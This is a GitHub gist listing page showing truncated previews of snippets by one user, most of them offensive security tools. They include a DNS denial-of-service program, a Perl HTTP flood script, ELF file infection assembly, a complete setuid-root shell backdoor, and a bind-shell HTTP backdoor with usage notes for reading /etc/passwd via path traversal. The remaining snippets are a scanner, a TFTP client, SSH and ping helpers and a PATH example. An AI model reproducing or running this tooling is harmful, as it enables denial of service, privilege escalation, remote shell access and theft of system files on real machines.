Skip to content

Instantly share code, notes, and snippets.

@fakessh
fakessh / dnsdoc c
Created July 23, 2012 17:56
simple dns dos
/*********************
sample dns dos attack
*********************/
#include<arpa/nameser.h>
#include<stdio.h>
#include<sys/types.h>
#include<string.h>
#include<sys/socket.h>
#include<unistd.h>
#include<stdlib.h>
@fakessh
fakessh / sample httpd ddos
Created September 2, 2012 23:33
sample httpd ddos
# sample httpd ddos
# perl script
#!/usr/bin/perl -w
use strict;
use warnings;
while()
{
@fakessh
fakessh / elf infect
Created September 13, 2012 00:58
elf infect
;****************************************************************************
; Linux ELF file infection
;****************************************************************************
; Compile with:
; nasm -f elf hole.asm -o hole.o
; gcc hole.o -o hole
section .text
global main
@fakessh
fakessh / backdoor setuid
Created September 14, 2012 21:34
backdoor setuid
#include <unistd.h>
void main(void)
{
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
@fakessh
fakessh / scan multiple ip
Created September 16, 2012 00:24
scan multiple ip
/* compile with gcc -Wall -Wextra -ggdb -pedantic -o scantest scantest.c */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
@fakessh
fakessh / tftpclient.c
Created September 16, 2012 00:35
tftpclient.c
/* gcc -Wall -Wextra -ggdb -pedantic -o tftpclient tftpclient.c */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
@fakessh
fakessh / bindshellhttpdbackdoor.pl
Created September 19, 2012 19:34
bind shell httpd backdoor
#!usr/bin/perl -w
# httpdbackdoor.pl Usage:
# 1. bind shell:
# nc target 8080
# ->SHELLPASSWORD{ENTER}{ENTER}
# 2. download files
# http://target:8080/file?/etc/passwd
# or
# http://target:8080/file?../some/file
@fakessh
fakessh / sshscpwintonux.pl
Created September 23, 2012 01:01
sshscpwintonux
#========================================================
# But : Connection SSH + commandes (scp ou autre)
# Args : Reference d'un hash
# Retourne : rien
# Besoin : modules Net::SSH2
#==========================
sub CommandSSHFromWindows {
unless ( scalar(@_) == 1 ) {
my $usage = <<'FIN_USAGE';
Usage:
@fakessh
fakessh / pinger.pl
Created September 23, 2012 01:13
pinger made in perlmonks
#!/usr/bin/perl -w
## Always use warnings
#
# Run with no arguments for help
#
# This program scans a C-class subnet and prints the results to corresponding text file.
# If a computer has once answered the ping, it will not be added to the list again.
# To sort the output type 'perl scansub.pl sort <textfile>'
use strict;
@fakessh
fakessh / path mv
Created September 23, 2012 01:35
path mv
#include <stdio.h>
#include <stdlib.h> /* pour utiliser getenv */
int main(void)
{
char *path, *home, *nouveaupath;
char assignation[150];
path = getenv("PATH");
home = getenv("HOME");
printf("ancien PATH : %s\net HOME : %s\n",